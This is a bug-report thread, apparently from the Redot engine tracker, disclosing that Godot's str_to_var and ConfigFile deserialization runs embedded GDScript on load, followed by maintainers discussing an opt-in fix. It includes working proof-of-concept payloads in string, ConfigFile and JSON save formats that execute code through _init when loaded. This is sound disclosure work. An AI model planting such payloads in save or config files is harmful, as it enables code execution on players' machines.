[Godot] `str_to_var` and `ConfigFile` allow for arbitrary code execution

[jtnicholl]

Tested versions

All verisons

System information

Ubuntu 24.04

Issue description

The global method str_to_var and ConfigFile's load/parse methods deserialize variants from strings, including objects. The objects can include custom scripts, and the _init methods of these scripts run immediately upon parsing.

These methods are commonly used for things like settings and save data, and are the way to do so recommended by the docs and demos. It's not uncommon for players to share save files online (especially for games where a lot of content requires unlocking), so if developers are unaware of this, it will lead to arbitrary code execution exploits. And it's quite likely they will be unaware, because while I've seen this fact discussed online quite a bit, the docs don't mention it.

This is an issue I originally opened on the Godot repo, but it's been known for much longer. Shortly afterwards a PR (godotengine/godot#80585) was made to fix it and it looked like it was going to get merged in for Godot 4.2, but then Reduz came in last minute and vetoed it, saying this "is not a real security risk in any way". (Archive link for proof in case he deletes it and denies saying it to try and save face, if anyone cares.)

I'm hoping someone here realizes that malware infecting your computer because you downloaded a save file for a video game is, in fact, a very real and very serious security risk, and that this can get fixed.

Steps to reproduce

This is a minimal example that will print "Arbitrary code" when it runs.

str_to_var("Object(RefCounted,\"script\":Object(GDScript,\"script/source\":\"extends RefCounted;func _init():print(\\\"Arbitrary code\\\")\"))")

GDScript allows separating statements via semicolons on one line, so you can include as much code as you want in one line.

Minimal reproduction project (MRP)

https://github.com/godotengine/godot-demo-projects/tree/master/loading/serialization or https://github.com/Redot-Engine/redot-demo-projects/tree/master/loading/serialization

The following ConfigFile save will print "Arbitrary code" when loaded. It otherwise loads normally.

malicious_value=Object(RefCounted,"script":Object(GDScript,"script/source":"extends RefCounted;func _init(): print(\"Arbitrary code\")"))

[player]

position=Vector2(300, 300)
health=100.0
rotation=0.0

[enemies]

enemies=[{
"position": Vector2(219.796, 160)
}, {
"position": Vector2(531.796, 304)
}, {
"position": Vector2(387.796, 464)
}]

This JSON file will print the same, then the game will stop with an error because it doesn't expect an object. It doesn't matter though, the arbitrary code still runs.

{
    "enemies":[
        {"position":"Vector2(273.469, 160)"},
        {"position":"Vector2(585.469, 304)"},
        {"position":"Vector2(441.469, 464)"}
    ],
    "player":{
        "health":"100.0",
        "position":"Object(RefCounted,\"script\":Object(GDScript,\"script/source\":\"extends RefCounted;func _init():print(\\\"Arbitrary code\\\")\"))",
        "rotation":"0.0"
    }
}

[Spartan322]

I definitely agree that this is also a viable avenue for an RCE by definition, I have at least one idea for this to minimize compatibility issues:

By default str_to_var and ConfigFile will require an allow_objects argument to be true (instead of the separated function behavior found in godotengine/godot#80585) to parse functions in either case, there will however be a default off project setting (thus you need to opt-in) which disables that check completely and forces every str_to_var and ConfigFile to always parse them as objects, thus if your project needs it and you don't want to update all your code, you'd set the project setting instead. Thoughts? (note it would mean that the allow_objects argument is conditionally considered based on a project setting, but I think this is acceptable to maintain functional compatibility with code changes for those who need it)

[Spartan322]

Turn out str_to_var supporting another argument would violate the standard for the engine thanks to var_to_bytes_with_objects already existing so I left it as is in godotengine/godot#80585, but otherwise everything I said has been done. The engine will even warn if the project setting to disable the security assistance (which may include other things too) is enabled.

[jtnicholl]

there will however be a default off project setting (thus you need to opt-in) which disables that check completely and forces every str_to_var and ConfigFile to always parse them as objects, thus if your project needs it and you don't want to update all your code, you'd set the project setting instead. Thoughts? (note it would mean that the allow_objects argument is conditionally considered based on a project setting, but I think this is acceptable to maintain functional compatibility with code changes for those who need it)

Personally I don't think this is that big of a compat break to be worth something like that. I also worry about the setting getting flipped on unintentionally or without properly understanding the risk.

It's pretty simple to update your code for this, and assuming it prints an error whenever an object is rejected you'll know immediately what to fix.

Turn out str_to_var supporting another argument would violate the standard for the engine thanks to var_to_bytes_with_objects already existing so I left it as is in godotengine/godot#80585, but otherwise everything I said has been done. The engine will even warn if the project setting to disable the security assistance (which may include other things too) is enabled.

Last I heard it was also not possible for global scope methods to have default arguments due to how they're implemented using macros, though I haven't looked into that in a while.

[Spartan322]

Personally I don't think this is that big of a compat break to be worth something like that. I also worry about the setting getting flipped on unintentionally or without properly understanding the risk.

Doesn't matter, aside from the fact it actually is a big compat break, it is required for us to keep compatibility somehow with Godot here. Also flipping the protection off is project specific, throws a warning every time you run the project, and requires a restart of the editor, if you're still gonna miss it after all that you have to be beyond blind.

It's pretty simple to update your code for this

That's irrelevant, if someone can't just throw their code into Redot from Godot then it would defeat the point. Something like Project Setting behavior is how most other developmental platforms solved it anyway.

Last I heard it was also not possible for global scope methods to have default arguments due to how they're implemented using macros, though I haven't looked into that in a while.

Well they're not implemented using macros and I don't see that being the case, they work the same as any other engine method.